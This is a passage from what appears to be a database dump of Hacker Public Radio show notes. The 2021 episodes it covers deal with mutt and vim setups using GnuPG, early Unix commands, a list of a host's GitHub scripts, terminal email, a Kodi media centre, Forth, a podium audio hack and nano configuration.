yet!</p>\r\n<p>I point you to the excellent <a href=\"https://hackerpublicradio.org/series/0043.html\">Ham radio, QSK</a> series on HPR where a number of correspondents have recorded shows about Amateur Radio that you may find interesting. I\'m putting this episode into the same series.</p>\r\n<h2 id=\"questions\">Questions</h2>\r\n<p>Are you an Amateur Radio operator? Let me know.</p>\r\n<h2 id=\"call-to-action\">Call to action</h2>\r\n<p>Drop me an email to <a href=\"mailto:hpr@thelovebug.org\">hpr@thelovebug.org</a>, I\'m on Facebook and Twitter as thelovebug, or leave a comment on this episode, or record your own episode in response.</p>\r\n<p>At the time of recording this, HPR is low on shows, if you have any shows in progress, or something burning in your mind, get it recorded. Find out more over at hackerpublicradio.org.</p>\r\n<h2 id=\"close\">Close</h2>\r\n<p>So, that\'s it for today... thanks for listening. <br />\r\nWherever you are in the world, stay safe. <br />\r\nCome back again tomorrow for another exciting episode on Hacker Public Radio.</p>\r\n<p>73 de M7TLB</p>\r\n',314,43,0,'CC-BY-SA','amateur radio, baofeng, rsgb, qso, cq, ham, ham radio, hf',0,0,1),
(3476,'2021-11-29','My mutt email setup',765,'My humble mutt email setup','\r\n<ol type=\"1\">\r\n<li>Get app password and enter it in a file call pass</li>\r\n</ol>\r\n<pre><code> set my_gpass= &quot;MyAppPassword&quot;</code></pre>\r\n<ol start=\"2\" type=\"1\">\r\n<li><p>Encrypt pass file with <code>\'gpg -e pass\'</code></p></li>\r\n<li><p>Shred pass file with \'shred -uv pass\', which uses verbose mode</p></li>\r\n</ol>\r\n<pre><code> shred - overwrite a file to hide its contents, and optionally delete it\r\n -u deallocate and remove file after overwriting\r\n -v, --verbose, show progress</code></pre>\r\n<ol start=\"4\" type=\"1\">\r\n<li><p>Use gpg encrypted key to open Gmail</p>\r\n<ul>\r\n<li>in .muttrc <code> source \"gpg -d ~/.mutt/pass.gpg |\" </code></li>\r\n</ul></li>\r\n<li><p>Source colors file: Custom color scheme</p></li>\r\n</ol>\r\n<pre><code> ## Custom - Shows a gray line on tagged emails\r\n color index yellow brightblack &quot;~T ~N | ~T&quot;</code></pre>\r\n<p><em>Tagged emails</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3476/tagged_emails.png\" alt=\"Tagged emails\" /></p>\r\n<ol start=\"6\" type=\"1\">\r\n<li>Source hooks file: Redirect default save path for email sorting</li>\r\n</ol>\r\n<pre><code> ## Newsletters - Technology ##\r\n save-hook &#39;~f lists.linuxjournal.com&#39; =&#39;Linux&#39;\r\n save-hook &#39;~f arch-dev-public&#39; =Newsletters\r\n save-hook &#39;~f noreply@mmorpg.com&#39; =Newsletters\r\n save-hook &#39;~f ocw@mit.edu&#39;|&#39;~b Opencourseware&#39; =Newsletters\r\n save-hook &#39;~s Linux&#39;|&#39;~s Foundation&#39; =&#39;Newsletters&#39;\r\n save-hook &#39;~f weekly@raspberrypi.org&#39; =Newsletters\r\n save-hook &#39;~f hackspace@raspberrypi.org&#39; =Newsletters\r\n save-hook &#39;~f @pragmaticbookshelf.com&#39; =Newsletters\r\n save-hook &#39;~f comixology@e.comixology.com&#39; =Newsletters\r\n save-hook &#39;~f mrgroove@groovypost.com&#39; =Newsletters\r\n save-hook &#39;~f oreilly@post.oreilly.com&#39; =Newsletters\r\n save-hook &#39;~f mark ~s arduino&#39; =Bookmarks/Arduino\r\n save-hook &#39;~f smith@torproject.org&#39; =Newsletters/TorProject\r\n save-hook &#39;~f info@torproject.org&#39; =Newsletters/TorProject\r\n save-hook &#39;~f editor@eff.org&#39; =Newsletters.EFFdotOrg\r\n save-hook &#39;~f contact@diyodemag.com&#39; =Newsletters/DIYODE-Magazine\r\n save-hook &#39;~f weekly-update@allaboutcircuits.com&#39; =Newsletters/Circuits\r\n\r\n ## Recipes ##\r\n save-hook &#39;~f dora ~s Recipe | ~s Recipe | ~B recipe | ~B casserole | ~B bake | ~B &quot;omaha steaks&quot; &#39; =&#39;dabrat1972/Recipes&#39;</code></pre>\r\n<ol start=\"7\" type=\"1\">\r\n<li>Source aliases file: Frequently used contacts</li>\r\n</ol>\r\n<pre><code> alias tags tags@hackerpublicradio.org\r\n alias Dave_Morriss Dave Morriss &lt;perloid@autistici.org&gt;</code></pre>\r\n<ul>\r\n<li>HTML email\r\n<ul>\r\n<li>Install lynx</li>\r\n</ul></li>\r\n<li>Open URL\'s\r\n<ul>\r\n<li>Install urlscan</li>\r\n<li>Capital \'U\' open URL dialog</li>\r\n</ul></li>\r\n<li>Open pictures\r\n<ul>\r\n<li>Install feh</li>\r\n</ul></li>\r\n<li>PDF reader\r\n<ul>\r\n<li>Zathura\r\n<ul>\r\n<li><a href=\"https://bbs.archlinux.org/viewtopic.php?id=220572\" class=\"uri\">https://bbs.archlinux.org/viewtopic.php?id=220572</a></li>\r\n<li>Install zathura-pdf-mupdf and zathura-pdf-poppler\r\n<ul>\r\n<li>Just needed zathura-pdf-mupdf, zathura-pdf-poppler was included with zathura.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>mailcap - metamail capabilities file\r\n\r\nDESCRIPTION\r\n The mailcap file is read by the metamail program to determine how to display non-text at the local site.</code></pre>\r\n<pre><code> image/*; feh %s; test=test -n &quot;$DISPLAY&quot;;\r\n text/html; lynx -nonumbers -dump %s; copiousoutput; nametemplate=%s.html\r\n application/pdf; zathura /dev/stdin</code></pre>\r\n<h2 id=\"more-reading\">More reading</h2>\r\n<ul>\r\n<li>Regex question\r\n<ul>\r\n<li><a href=\"https://www.techrepublic.com/article/10-helpful-tips-for-mutt-e-mail-client-power-users\" class=\"uri\">https://www.techrepublic.com/article/10-helpful-tips-for-mutt-e-mail-client-power-users</a></li>\r\n</ul></li>\r\n<li>Colors\r\n<ul>\r\n<li><a href=\"https://www.rdrop.com/docs/mutt/manual29.html\" class=\"uri\">https://www.rdrop.com/docs/mutt/manual29.html</a></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"contact-me\">Contact me:</h2>\r\n<p>Email: ricemark20.nospam@nospam.gmail.com<br />\r\nMastodon: <a href=\"https://mastodon.sdf.org/@archer72\" class=\"uri\">https://mastodon.sdf.org/@archer72</a><br />\r\nMatrix: <span class=\"citation\" data-cites=\"archer72:matrix.org\">@archer72:matrix.org</span><br />\r\nHPR Matrix room: <a href=\"https://app.element.io/#/room/#hpr:matrix.org\" class=\"uri\">https://app.element.io/#/room/#hpr:matrix.org</a><br />\r\nOggcastplanet Matrix room: <a href=\"https://app.element.io/#/room/!oIafedhXUbEidMzeTt:libera.chat\" class=\"uri\">https://app.element.io/#/room/!oIafedhXUbEidMzeTt:libera.chat</a></p>\r\n<h2 id=\"links\">Links</h2>\r\nExample files:\r\n<ul>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3476/colors\">colors</a>\r\n</li>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3476/gmail\">gmail</a>\r\n</li>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3476/mailcap\">mailcap</a>\r\n</li>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3476/muttrc\">muttrc</a>\r\n</li>\r\n</ul>\r\n',318,11,0,'CC-BY-SA','mutt,email, gpg,accessibility ',0,0,1),
(3485,'2021-12-10','50 years since the 1st Edition of Unix was published',747,'Ken (Fallon not Thompson) checks his unix like computer to see how many commands still exist.','<h1 id=\"top-ten-of-the-first-unix-commands\">top ten of the first unix commands</h1>\r\n<p>50 years after the 1st Edition of Unix was published, Ken (Fallon not Thompson) checks his unix like computer to see how many commands still exist (38) and how many are not installed by default (23).</p>\r\n<p>Thanks to <a href=\"https://twitter.com/bsdimp\">@bsdimp</a> on twitter for the post. Also to <a href=\"https://fosstodon.org/@atoponce/107219163009353638\">@atoponce@fosstodon.org</a> and <a href=\"https://mastodon.social/@obra/107217491430371868\">@obra@mastodon.social</a> for the tip.</p>\r\n<h3 id=\"packages-i-dont-have-installed\">Packages I don\'t have installed</h3>\r\n<p>Many are available under another name but I have not installed them. Seven of the of the twenty two relates to tapes.</p>\r\n<pre>\r\nB -- language\r\nbas -- basic\r\nbcd -- binary coded decimal conversion\r\nboot -- reboot system\r\nchdir -- change working directory\r\ncheck -- file system consistency check\r\ndb -- debug\r\ndbppt -- dump binary paper tape\r\ndsw -- delete interactively\r\ndtf -- DECtape format\r\nfor -- fortran\r\nform -- form letter generator\r\nhup -- hang up typewriter\r\nlbppt -- load binary paper tapes\r\nrew -- rewind tape\r\nrkd -- dump RK disk to tape\r\nrkf -- format RKO3 disk pack\r\nrkl -- reload RK disk from tape\r\nroff -- format text\r\nsdate -- set date and time\r\ntap -- manipulate DECtape\r\ntm -- provide time information\r\nun -- undefined symbols\r\n</pre>\r\n\r\n<h3 id=\"top-10-most-popular-50-year-old-commands-\">Top 10 most popular 50 year old commands !</h3>\r\n<pre>\r\n 1 10108 ls\r\n 2 2847 find\r\n 3 1985 rm\r\n 4 1482 mv\r\n 5 887 cat\r\n 6 649 for\r\n 7 544 mkdir\r\n 8 341 cp\r\n 9 280 rmdir\r\n 10 202 df\r\n</pre>\r\n',30,0,1,'CC-BY-SA','unix, unix commands',0,0,1),
(3474,'2021-11-25','H P R and Audio Fun',671,'Comments on show and audio processing ','<p><a href=\"https://matrix.to/#/#HPR:matrix.org\" class=\"uri\">https://matrix.to/#/#HPR:matrix.org</a></p>\r\n<ul>\r\n<li><p>media &gt; text &gt; keywords<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Bash/Stream_to_Text_with_Keywords.sh\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Bash/Stream_to_Text_with_Keywords.sh</a></p></li>\r\n<li><p>NICE !<br />\r\n<a href=\"https://hackerpublicradio.org/rss-future.php\" class=\"uri\">https://hackerpublicradio.org/rss-future.php</a></p></li>\r\n<li><p>broken ?<br />\r\n<a href=\"https://gitlab.anhonesthost.com/HPR/HPR_Public_Code/\" class=\"uri\">https://gitlab.anhonesthost.com/HPR/HPR_Public_Code/</a> ( broken ? )</p></li>\r\n<li><p>Donate!<br />\r\n<a href=\"https://secure.anhonesthost.com/store/hpr-hosting-cost-donations\" class=\"uri\">https://secure.anhonesthost.com/store/hpr-hosting-cost-donations</a></p></li>\r\n<li><p>android compressor / limiter<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=io.github.kushiheim.glycox\" class=\"uri\">https://play.google.com/store/apps/details?id=io.github.kushiheim.glycox</a></p></li>\r\n<li><p>notes on Linux Audio<br />\r\n<a href=\"https://docs.google.com/document/d/1E1xAwWpq-C4vEh8LCRw7MD7jnaclX9Faf2L3dZWiqQY/edit#heading=h.wp1n4j8ybidv\" class=\"uri\">https://docs.google.com/document/d/1E1xAwWpq-C4vEh8LCRw7MD7jnaclX9Faf2L3dZWiqQY/edit#heading=h.wp1n4j8ybidv</a></p></li>\r\n<li><p>possible automated silence detection to be used for noise profile !!!! ( let\'s talk about it ! )<br />\r\n<a href=\"https://stackoverflow.com/questions/45526996/split-audio-files-using-silence-detection/46001755\" class=\"uri\">https://stackoverflow.com/questions/45526996/split-audio-files-using-silence-detection/46001755</a></p></li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','audio',0,0,1),
(3491,'2021-12-20','My Github and flickmetrix',1553,'Bear with me as I go though my github over the past year some real gems in here','<ul>\r\n<li><p>main github (other stuff one there like SC_BADGER etc)<br />\r\n<a href=\"https://github.com/freeload101\" class=\"uri\">https://github.com/freeload101</a></p></li>\r\n<li><p>flickmetrix script<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/7279338b610c914812169e107cbbea45e4ca5254/fu.txt#L102\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/7279338b610c914812169e107cbbea45e4ca5254/fu.txt#L102</a></p></li>\r\n<li><p>High_Contrast_Toggle_AutoHotkey.ahk<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/tree/master/AutoHotkey\" class=\"uri\">https://github.com/freeload101/SCRIPTS/tree/master/AutoHotkey</a></p></li>\r\n<li><p>smart nmap<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Bash/NMAP_SMART_FAST.sh\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Bash/NMAP_SMART_FAST.sh</a></p></li>\r\n<li><p>clean up script for media cool find regex here<br />\r\n<a href=\"https://raw.githubusercontent.com/freeload101/SCRIPTS/master/Bash/RMEMPTY.sh\" class=\"uri\">https://raw.githubusercontent.com/freeload101/SCRIPTS/master/Bash/RMEMPTY.sh</a></p></li>\r\n<li><p>good movies page<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Bash/flickmetrix_good_movies.sh\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Bash/flickmetrix_good_movies.sh</a></p></li>\r\n<li><p>mobile mass SSL depinning script<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/JS/universal-android-ssl-pinning-bypass-with-frida.js\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/JS/universal-android-ssl-pinning-bypass-with-frida.js</a></p></li>\r\n<li><p>android debloat and dump app names/ with file names<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Android_Debloat_N_Dump.bat\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Android_Debloat_N_Dump.bat</a></p></li>\r\n<li><p>help debug CPU hogging apps in android logs<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Android_logcat_cat.sh\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Android_logcat_cat.sh</a></p></li>\r\n<li><p>script that kills all processes and then cleans temp files etc<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/BleachBit_Quickkill.bat\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/BleachBit_Quickkill.bat</a></p></li>\r\n<li><p>Cool script that debloats,hardends,installs cygwin and chocolatey apps<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Chocolatey_Cygwin.cmd\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Chocolatey_Cygwin.cmd</a></p></li>\r\n<li><p>dump windows system info ,dxdiag info and battery info<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/DUMP_WINDOWS_INFO.bat\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/DUMP_WINDOWS_INFO.bat</a></p></li>\r\n<li><p>youtube downloader (now yt-dlp) script to mass download multi threaed media all at the same time.<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Youtube-dl-ffmpeg-aria2c-updater-downloader.bat\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Youtube-dl-ffmpeg-aria2c-updater-downloader.bat</a></p></li>\r\n<li><p>bunch of \'old\' one liners etc<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/fu.txt\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/fu.txt</a></p></li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','scripts,hacking,github,windows,linux',0,0,1),
(3467,'2021-11-16','Protonmail in the terminal',2262,'One way of doing Protonmail in the terminal.','<p>I use email in the terminal with a combination of:</p>\r\n<dl>\r\n<dt>protonmail-bridge-cli</dt>\r\n<dd>local IMAP server to fetch Protonmail mails\r\n</dd>\r\n<dt>tmux</dt>\r\n<dd>to run protonmail-bridge in\r\n</dd>\r\n<dt>isync (or offlineimap etc)</dt>\r\n<dd>to sync IMAP with maildirs\r\n</dd>\r\n<dt>notmuch</dt>\r\n<dd>to tag and search mails\r\n</dd>\r\n<dt>afew</dt>\r\n<dd>to move mails found by certain notmuch queries in certain maildirs\r\n</dd>\r\n<dt>alot</dt>\r\n<dd>to read, compose, search and tag mails\r\n</dd>\r\n<dt>msmtp</dt>\r\n<dd>to send mails\r\n</dd>\r\n<dt>w3m (or lynx etc)</dt>\r\n<dd>to read HTML mails in the terminal\r\n</dd>\r\n<dt>rsync</dt>\r\n<dd>to copy archived mails\r\n</dd>\r\n<dt>a shell function and an alias</dt>\r\n<dd>to make it all less ridiculous\r\n</dd>\r\n</dl>\r\n<p>To most, Thunderbird will be suitable, the target audience here is unreasonable people.</p>\r\n<h3>Complete Show Notes</h3>\r\n<p>\r\nFollow this link for the complete show notes: <a href=\"https://hackerpublicradio.org/eps/hpr3467/\">https://hackerpublicradio.org/eps/hpr3467/</a>\r\n</p>',399,0,1,'CC-BY-SA','email,protonmail,alot,afew,notmuch,mbsync',0,0,1),
(3475,'2021-11-26','How I Watch Everything Using Open Source Software',878,'Using Libreelec, Kodi, a tuner, and a Raspberry Pi to create a great media center','<p>I\'ve been using this setup or one similar for several years now and it has worked out very well.</p>\r\n<p>Hardware:</p>\r\n<ul>\r\n<li>Clearstream TV antenna</li>\r\n<li>Coax cable</li>\r\n<li>Hauppage WinTV-dual HD USB Dual Tuner</li>\r\n<li>Raspberry Pi 4 4GB</li>\r\n<li>1 TB SSD connected via USB 3</li>\r\n<li>HDMI cable</li>\r\n</ul>\r\n<p>Software:</p>\r\n<ul>\r\n<li>Libreelec OS</li>\r\n<li>Kodi</li>\r\n<li>TVheadend server</li>\r\n<li>TVheadend client</li>\r\n<li>Debrid addon media streamer</li>\r\n</ul>\r\n<p>Any questions or comments you can reach me at minnix at minnix dot dev</p>\r\n',375,0,0,'CC-BY-SA','libreelec,kodi,raspberry pi,tvheadend',0,0,1),
(3477,'2021-11-30','Picking a Forth',1313,'Available forths, old and new','<ul>\r\n<li><p>arduino as a sketch download pdf at <a href=\"https://wiki.forth-ev.de\">wiki.forth-ev.de</a>, then cut and paste $</p></li>\r\n<li><p>the arduino controlled by eforth, search for this ter$</p></li>\r\n<li><p>amforth<br />\r\n<a href=\"https://amforth.sourceforge.net\">amforth.sourceforge.net</a></p></li>\r\n<li><p>flashforth<br />\r\n<a href=\"https://flashforth.com\">flashforth.com</a></p></li>\r\n<li><p>resources<br />\r\n<a href=\"https://arduino-forth.com\">arduino-forth.com</a><br />\r\n<a href=\"https://forth.org\">forth.org</a><br />\r\n<a href=\"https://forth.org/eforth.html\">forth.org/eforth.html</a><br />\r\n</p></li>\r\n</ul>\r\n',326,0,0,'CC-BY-SA','forth, arduino, history',0,0,1),
(3478,'2021-12-01','Audio Wiring Hack on a Classroom Podium',1093,'Listen in while I hack the wiring on our classroom podium for custom audio routing.','<p>In this episode I take you along for the ride as I hack the wiring in a classroom podium so that I can show musical scores on the Elmo document camera while playing audio through the podium\'s laptop VGA audio source. Without this hack, the students could either see the score, or they could hear the music, but not both. This simple hack installing two jumper wires allows them to see the score and hear the music at the same time, which is important in my classes. I could already do this by using a PDF music score on my laptop while playing the audio file, but this allows me to use a paper score and audio from my laptop at once. It essentially acts as an audio splitter, sending the audio signal to two channels at once.</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n <li>Music from Kimiko Ishizaka\'s <em>The Open Well-Tempered Clavier</em>: <a href=\"https://www.welltemperedclavier.org/\">https://www.welltemperedclavier.org/</a>, used by permission of its <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n <li><a href=\"https://www.flickr.com/gp/137675441@N05/0K3EVq\">Pictures of the <em>Podium Audio Wiring Hack</em></a></li>\r\n</ul>\r\n\r\n',238,0,0,'CC-BY-SA','audio, wiring, higher education',0,0,1),
(3484,'2021-12-09','My vim setup with GnuPG',501,'My vim setup with the GnuPG vim plugin','<h2 id=\"using-the-gnupg-vim-plugin-to-edit-encrypted-files.\">Using the GnuPG vim plugin to edit encrypted files.</h2>\r\n<ul>\r\n<li><p>See show hpr3476 My mutt email setup<br />\r\n<a href=\"https://www.hackerpublicradio.org/eps.php?id=3476\" class=\"uri\">https://www.hackerpublicradio.org/eps.php?id=3476</a></p></li>\r\n<li><p>GnuPG Vim Plugin on vim.org<br />\r\n<a href=\"https://www.vim.org/scripts/script.php?script_id=3645\" class=\"uri\">https://www.vim.org/scripts/script.php?script_id=3645</a></p></li>\r\n<li><p>GnuPG Vim Plugin on Github<br />\r\n<a href=\"https://github.com/vim-scripts/gnupg.vim\" class=\"uri\">https://github.com/vim-scripts/gnupg.vim</a></p></li>\r\n</ul>\r\n<p><em>Line to directly clone from github</em></p>\r\n<pre><code> git clone https://github.com/vim-scripts/gnupg.vim</code></pre>\r\n<p>From <code>man 1 gpg-agent</code>:</p>\r\n<blockquote>\r\n<p>You should always add the following lines to your <code>.bashrc</code> or whatever initialization file is used for all shell invocations:</p>\r\n<pre><code>GPG_TTY=`tty`\r\nexport GPG_TTY</code></pre>\r\n<p>It is important that this environment variable always reflects the output of the tty command.</p>\r\n</blockquote>\r\n<p><em>.bashrc snippet</em></p>\r\n<pre><code> ## GPG Vim\r\n GPG_TTY=`tty`\r\n export GPG_TTY\r\n export EDITOR=vim</code></pre>\r\n<p><em>GnuPG folder structure</em></p>\r\n<pre><code> [mark@fedora-lt ~]$ tree .vim\r\n .vim\r\n &#x251C;&#x2500;&#x2500; plugin\r\n &#x2502; &#x2514;&#x2500;&#x2500; vim-gnupg\r\n &#x2502; &#x251C;&#x2500;&#x2500; autoload\r\n &#x2502; &#x2502; &#x2514;&#x2500;&#x2500; gnupg.vim\r\n &#x2502; &#x251C;&#x2500;&#x2500; doc\r\n &#x2502; &#x2502; &#x2514;&#x2500;&#x2500; gnupg.txt\r\n &#x2502; &#x251C;&#x2500;&#x2500; plugin\r\n &#x2502; &#x2502; &#x2514;&#x2500;&#x2500; gnupg.vim\r\n &#x2502; &#x2514;&#x2500;&#x2500; README.md\r\n &#x2514;&#x2500;&#x2500; spell\r\n &#x251C;&#x2500;&#x2500; en.utf-8.add\r\n &#x2514;&#x2500;&#x2500; en.utf-8.add.spl</code></pre>\r\n<p><em>vimrc</em></p>\r\n<pre><code>set tabstop=2 softtabstop=0 expandtab shiftwidth=2 smarttab textwidth=80\r\nsyntax on\r\nautocmd BufRead,BufNewFile *.log set filetype=logtalk\r\nset spell spelllang=en_us</code></pre>\r\n<p>Generate gpg full key<br />\r\n<code>gpg --full-generate-key</code></p>\r\n<p>or just a regular one, with less options<br />\r\n<code>gpg --gen-key</code></p>\r\n<p>Encrypt the file in question, with -r as the recipient<br />\r\nIn this case, I used part of the comment as the recipient</p>\r\n<p><em>Picture 1</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3484/picture001.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3484/picture001_thumbnail.png\" alt=\"Picture 1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p>This is more like it.<br />\r\n<code>gpg -e -r test thisIsMyTestFile.txt</code></p>\r\n<p>Now test edit the file<br />\r\n<code>vim thisIsMyTestFile.txt.gpg</code></p>\r\n<p><em>Picture 2</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3484/picture002.png\" alt=\"Picture 2\" /></p>\r\n<p>It is a good idea to shred the original text file</p>\r\n<pre><code> shred - overwrite a file to hide its contents, and optionally delete it\r\n -u deallocate and remove file after overwriting\r\n -v, --verbose, show progress</code></pre>\r\n<p>Example: <code>shred -u -v foo.txt</code></p>\r\n',318,11,0,'CC-BY-SA','vim, plugin, lightweight',0,0,1),
(3486,'2021-12-13','Unleash the true potential of GNU nano text editor',516,'Turn GNU nano text editor into a fancy, good looking & powerful editor','<p>Text editors are highly subjective and highly opinionated commodities. Everyone is aware of infamous rivalry between users of Emacs and Vi/Vim. Every single text editor has its own strengths and weaknesses. At the end of the day it\'s the question of your personal preferences and muscle memory when it comes to default key-bindings. Both Emacs and Vim have a learning curve. Steepness of that curve depends on the person\'s background and interests. Hey, but today I\'m not here to talk about Emacs and Vim. I\'m here to talk about a simple, easy to use and almost ever present text editor called <code>GNU nano</code>. So what exactly is this <code>nano</code> text editor? Well, according to documentation available on <code>GNU nano</code>\'s <a href=\"https://nano-editor.org/\">website</a>,</p>\r\n<blockquote>\r\n<p>GNU nano was designed to be a free replacement for the Pico text editor, part of the Pine email suite from The University of Washington. It aimed to \"emulate Pico as closely as is reasonable and then include extra functionality\".</p>\r\n</blockquote>\r\n<p>Pico and Pine email suites are still around so what was the need to create <code>nano</code> in the first place? The answer is license. Pico and Pine email suites nowadays are available under Apache-2.0 license but that always wasn\'t the case and this ambiguity in the original licensing terms of the Pico editor led to the creation of <code>nano</code>. It was first created in 1999 with the name TIP (an acronym for TIP Isn\'t Pico), by Chris Allegretta. The name was changed to <code>nano</code> on January 10th, 2000 to avoid a naming conflict with the existing Unix utility tip. The name comes from the system of SI prefixes, in which <code>nano</code> is 1000 times larger than pico. In February 2001, <code>nano</code> became a part of the GNU Project. BTW if you want to know more about SI prefixes, I\'d highly recommend you to listen to <a href=\"https://hackerpublicradio.org/eps.php?id=3454\">HPR episode 3453 - Engineering notation</a> by Ken Fallon.</p>\r\n<p><code>nano</code> is really small in footprint and is relatively easy to use compared to Emacs and Vim and perhaps this is the reason why you\'d invariably find it already installed on almost all GNU/Linux distributions. If you have ever used <code>nano</code> before you might have noticed that it looks kinda boring; there are no line-numbers nor there is any syntax highlighting and spell-checking also seems absent. But this is not true. <code>nano</code> has all of these features and even some more like regex searches, indentation, multiple buffers, available at its disposal. Then why does it come across as a plain Jane? The short answer is, I honestly don\'t know! For some unknown and obscure reasons many of <code>nano</code>\'s cool features are disabled by default. This results in <code>nano</code> coming across as a plain Jane little text editor that is uncool. And as I mentioned earlier, that is not true. But worry not! It is so darn easy to unleash the true potential of <code>nano</code> and make it shine. Are you ready? Great! Let\'s do it together then!</p>\r\n<p>First thing we need to to do is create a file with the name <code>.nanorc</code> in the <code>$HOME</code> directory. Open your terminal emulator and run,</p>\r\n<pre class=\"text\"><code>touch $HOME/.nanorc\r\n</code></pre>\r\n<p>We\'d also need to create a directory called <code>Nano_Backups</code> in our <code>Documents</code> directory. To do so run the following command,</p>\r\n<pre class=\"text\"><code>mkdir -p $HOME/Documents/Nano_Backups\r\n</code></pre>\r\n<p>Next open that <code>.nanorc</code> file and simply paste the following content in it,</p>\r\n<pre class=\"text\"><code>set atblanks\r\nset autoindent\r\nset backup\r\nset backupdir &quot;/home/USERNAME/Documents/Nano_Backups&quot;\r\nset boldtext\r\nset constantshow\r\nset cutfromcursor\r\nset indicator\r\nset linenumbers\r\nset magic\r\nset minibar\r\nset mouse\r\nset showcursor\r\nset softwrap\r\nset speller &quot;aspell -x -c&quot;\r\nset trimblanks\r\nset whitespace &quot;&#187;&middot;&quot;\r\nset zap\r\nset multibuffer\r\n\r\nset titlecolor bold,lightwhite,blue\r\nset promptcolor lightwhite,lightblack\r\nset statuscolor bold,lightwhite,green\r\nset errorcolor bold,lightwhite,red\r\nset spotlightcolor black,lime\r\nset selectedcolor lightwhite,magenta\r\nset stripecolor ,yellow\r\nset scrollercolor cyan\r\nset numbercolor cyan\r\nset keycolor cyan\r\nset functioncolor green\r\n\r\ninclude &quot;/usr/share/nano/*.nanorc&quot;\r\n\r\nbind ^Q exit all\r\nbind ^S savefile main\r\nbind ^W writeout main\r\nbind ^O insert main\r\nbind ^H help all\r\nbind ^H exit help\r\nbind ^F whereis all\r\nbind ^G findnext all\r\nbind ^B wherewas all\r\nbind ^D findprevious all\r\nbind ^R replace main\r\nbind ^X cut main\r\nbind ^C copy main\r\nbind ^V paste all\r\nbind ^P location main\r\nbind ^E execute main\r\nbind ^A mark main\r\nunbind ^K main\r\nunbind ^U all\r\nunbind ^N main\r\nunbind ^Y all\r\nunbind M-J main\r\nunbind M-T main\r\nbind ^T gotoline main\r\nbind ^T gotodir browser\r\nbind ^T cutrestoffile execute\r\nbind ^L linter execute\r\nbind M-U undo main\r\nbind M-R redo main\r\nbind ^Z undo main\r\nbind ^Y redo main\r\n</code></pre>\r\n<p>You\'ll have to replace <code>USERNAME</code> in the line number four, <code>set backupdir \"/home/USERNAME/Documents/Nano_Backups/\"</code> with your actual <code>username</code> and then save this file.</p>\r\n<p>Wouldn\'t it be nice if the colors in <code>nano</code> were different for a normal user and a root user? Yes, for sure. To do so create an empty <code>.nanorc</code> file in the root\'s directory,</p>\r\n<pre class=\"text\"><code>sudo touch /root/.nanorc\r\n</code></pre>\r\n<p>Next create the backup directory <code>Nano_Backups</code> in root\'s <code>Documents</code> directory. To do so run the following command,</p>\r\n<pre class=\"text\"><code>sudo mkdir -p /root/Documents/Nano_Backups\r\n</code></pre>\r\n<p>Open that <code>/root/.nanorc</code>file and paste this content in it and save the changes,</p>\r\n<pre class=\"text\"><code>set atblanks\r\nset autoindent\r\nset backup\r\nset backupdir &quot;/root/Documents/Nano_Backups/&quot;\r\nset boldtext\r\nset constantshow\r\nset cutfromcursor\r\nset indicator\r\nset linenumbers\r\nset magic\r\nset minibar\r\nset mouse\r\nset showcursor\r\nset softwrap\r\nset speller &quot;aspell -x -c&quot;\r\nset trimblanks\r\nset whitespace &quot;&#187;&middot;&quot;\r\nset zap\r\nset multibuffer\r\n\r\nset titlecolor bold,lightwhite,magenta\r\nset promptcolor black,yellow\r\nset statuscolor bold,lightwhite,magenta\r\nset errorcolor bold,lightwhite,red\r\nset spotlightcolor black,orange\r\nset selectedcolor lightwhite,cyan\r\nset stripecolor ,yellow\r\nset scrollercolor magenta\r\nset numbercolor magenta\r\nset keycolor lightmagenta\r\nset functioncolor magenta\r\n\r\ninclude &quot;/usr/share/nano/*.nanorc&quot;\r\n\r\nbind ^Q exit all\r\nbind ^S savefile main\r\nbind ^W writeout 